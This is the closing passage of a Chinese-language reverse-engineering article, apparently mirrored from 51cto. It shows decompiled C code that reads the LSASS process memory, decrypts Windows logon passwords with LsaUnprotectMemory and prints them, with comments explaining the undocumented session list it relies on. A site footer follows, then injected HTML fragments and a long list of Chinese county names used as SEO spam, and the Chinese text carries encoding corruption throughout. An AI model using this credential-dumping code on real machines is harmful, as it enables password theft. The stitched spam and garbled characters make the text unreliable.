Base = *(offset_one + First + 4); // 還是使用了First,不要忘記First是從當(dāng)時(shí)那個(gè)不明地址處讀取的值

memset(Buffer2, 0, 0x100u);

status2 = ReadProcessMemory(Lsass, Base, Buffer2, nSize, &NumberOfBytesRead);

_chkesp(&t == &t, status2, &v47);// 這里讀到加密之后的密碼。整個(gè)流程就清楚了,使用LsaEnumerateSessions獲取LUIDs,與之前通過(guò)特征碼找到的l_LogSessList結(jié)合找出密碼。l_LogSessList保存了密碼的長(zhǎng)度和存放地址以及會(huì)話LUID,是個(gè)重要的未公開(kāi)結(jié)構(gòu)體。

status5 = (LsaUnprotectMemory)(Buffer2, nSize);

_chkesp(&t == &t, status5, &v47);

printf("password: %S ", Buffer2);

}

后面是一些釋放dll和內(nèi)存的工作,不再贅述。程序和IDA數(shù)據(jù)庫(kù)右鍵圖片可以得到。

關(guān)鍵字:constmain函數(shù)stdcall

本文摘自:51cto

電子周刊
回到頂部

關(guān)于我們聯(lián)系我們版權(quán)聲明隱私條款廣告服務(wù)友情鏈接投稿中心招賢納士

企業(yè)網(wǎng)版權(quán)所有 ©2010-2024 京ICP備09108050號(hào)-6 京公網(wǎng)安備 11010502049343號(hào)

^
  • <menuitem id="jw4sk"></menuitem>

    1. <form id="jw4sk"><tbody id="jw4sk"><dfn id="jw4sk"></dfn></tbody></form>
      主站蜘蛛池模板: 府谷县| 云浮市| 南华县| 麻城市| 静海县| 固镇县| 保康县| 新泰市| 恩施市| 南康市| 化隆| 达孜县| 曲阜市| 临城县| 平远县| 离岛区| 瑞金市| 伊宁市| 射阳县| 修武县| 什邡市| 华池县| 门源| 喀喇沁旗| 永川市| 景宁| 金平| 黄陵县| 三亚市| 西平县| 兴化市| 海林市| 怀仁县| 聂荣县| 依安县| 沂南县| 马公市| 内丘县| 共和县| 镇康县| 徐水县|